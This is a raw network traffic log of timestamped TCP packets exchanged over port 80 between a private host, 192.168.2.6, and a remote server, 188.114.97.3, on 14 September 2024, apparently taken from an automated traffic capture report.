Sep 14, 2024 18:44:10.687891960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687911034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687958956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687968969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688000917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688033104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688046932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688069105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688103914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688114882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688136101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688168049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688185930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688201904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688254118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688272953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688283920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688316107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688329935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688348055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688381910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688415051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688424110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688446999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688473940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688483953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688533068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688534021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688568115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688600063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688612938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688637972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688671112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688685894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688702106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688736916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688745022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688769102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688802004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688813925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688834906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688870907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688882113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688925028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.688970089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.688972950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689004898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689038038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689055920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689073086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689106941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689121008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689141035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689172983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689196110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689204931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689238071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689254045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689271927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689302921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689318895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689336061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689368010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689379930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689400911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689433098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689445019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.689465046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689497948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.689516068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.731287956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731363058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731426954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731466055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731501102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731504917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.731533051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.731533051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731550932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.731566906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731601000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.731615067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.733092070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733125925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733151913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.733165026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733215094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.733221054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733252048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733284950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733319044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.733320951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733355999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.733366013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.734100103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734133005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734160900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.734164953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734250069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734251976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.734282970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734316111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734327078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.734353065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734389067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.734399080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774395943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774456024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774507046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774540901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774578094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774599075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774599075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774650097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774691105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774743080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774780035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774792910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774835110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774868011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774879932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774899960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774935961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.774944067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.774971008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775006056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775013924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775055885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775090933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775099993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775142908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775181055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775187016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775237083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775279999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775285959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775341034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775403023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775413036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775444031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775486946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775515079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775566101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775598049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775609970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775631905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775675058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775681019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775713921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775748014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775768042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775784016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775816917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775834084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775866032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775897980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775911093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.775928974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775962114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.775974035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776001930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776040077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776051044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776093960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776128054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776134968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776160955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776194096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776209116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776247025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776278973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776290894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776313066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776348114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776355982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776382923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776413918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776432037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776448011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776479006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776499987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776515961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776561022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776565075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776597023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776631117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776640892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776668072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776705027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776711941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776735067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776767015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776787043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776803017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776849985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776851892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776885986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776916981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776936054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.776952982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776985884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.776998997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777018070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777050018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777064085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777086020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777118921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777132988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777168036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777200937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777211905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777237892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777275085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777281046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777307987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777339935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777354956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777371883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777404070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777412891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777436972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777468920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777479887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777504921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777535915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777556896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777568102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777600050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777609110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777636051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777681112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777684927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777718067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777750015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777761936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777785063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777820110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777829885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777856112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777888060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777900934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777920961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777952909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.777965069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.777987003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.778018951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.778036118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.778053045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.778096914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.820260048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820311069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820344925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820369959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.820375919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820414066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820417881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.820446968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820480108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.820487022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.821755886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821813107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821835041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.821866035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821903944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821912050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.821952105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821988106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.821995020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.822021008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.822112083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.822982073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823019028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823054075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823065996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.823102951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823141098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823158979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.823190928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823237896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823250055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.823271990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.823312998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863250017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863318920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863353968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863377094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863431931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863470078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863475084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863519907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863554955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863584995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863591909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863636971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863645077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863694906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863733053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863743067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863765955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863801956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863812923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863857031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863890886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863898993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.863924026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863960028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.863967896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864010096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864044905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864051104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864078045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864113092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864120007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864149094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864177942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864202023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864212036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864245892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864254951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864278078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864310980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864325047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864341974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864377022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864387035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864483118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864511013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864530087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864543915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864579916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864592075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864634037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864677906 CEST	49722	80	192.168.2.6	188.114.97.3
